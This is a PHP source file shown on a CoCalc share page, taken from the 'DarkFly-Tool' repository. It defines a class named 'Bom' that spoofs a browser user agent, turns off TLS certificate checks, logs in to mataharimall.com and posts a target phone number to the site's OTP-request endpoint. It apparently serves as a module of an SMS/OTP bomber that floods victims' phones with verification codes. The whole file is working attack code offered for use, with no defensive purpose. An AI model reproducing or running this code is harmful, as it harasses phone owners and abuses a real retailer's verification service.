Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
Ranginang67
GitHub Repository: Ranginang67/DarkFly-Tool
Path: blob/master/lib/bommthrml.php
202 views
1
<?php
2
error_reporting(0);
3
4
Class Bom {
5
6
public $no;
7
public $email;
8
public $pass;
9
10
public function sendC($url, $page, $params) {
11
12
$ch = curl_init();
13
curl_setopt ($ch, CURLOPT_URL, $url.$page);
14
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
15
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
16
17
if(!empty($params)) {
18
curl_setopt ($ch, CURLOPT_POSTFIELDS, $params);
19
curl_setopt ($ch, CURLOPT_POST, 1);
20
}
21
22
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
23
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
24
curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
25
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
26
27
$headers = array();
28
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
29
$headers[] = 'X-Requested-With: XMLHttpRequest';
30
31
curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
32
//curl_setopt ($ch, CURLOPT_HEADER, 1);
33
$result = curl_exec ($ch);
34
curl_close($ch);
35
return $result;
36
37
}
38
39
private function getStr($start, $end, $string) {
40
if (!empty($string)) {
41
$setring = explode($start,$string);
42
$setring = explode($end,$setring[1]);
43
return $setring[0];
44
}
45
}
46
47
48
public function Login($email,$pass)
49
{
50
$url = "https://www.mataharimall.com/user/ajax/login";
51
$email = $this->email;
52
$pass = $this->pass;
53
$data = "email={$email}&passwd={$pass}";
54
$send = $this->sendC($url, null, $data);
55
if (preg_match('/sukses/', $send)) {
56
// print('Login success<br>');
57
} else {
58
// print("Login failed<br>");
59
}
60
}
61
62
public function Verif()
63
{
64
$url = "https://www.mataharimall.com/user/ajax/requestotp";
65
$no = $this->no;
66
$data = "phone_number={$no}";
67
$send = $this->sendC($url, null, $data);
68
if (preg_match('/Kode OTP berhasil dikirim/', $send)) {
69
print('send success');
70
} else {
71
print('send failed');
72
}
73
}
74
75
76
}
77
78
79
80
81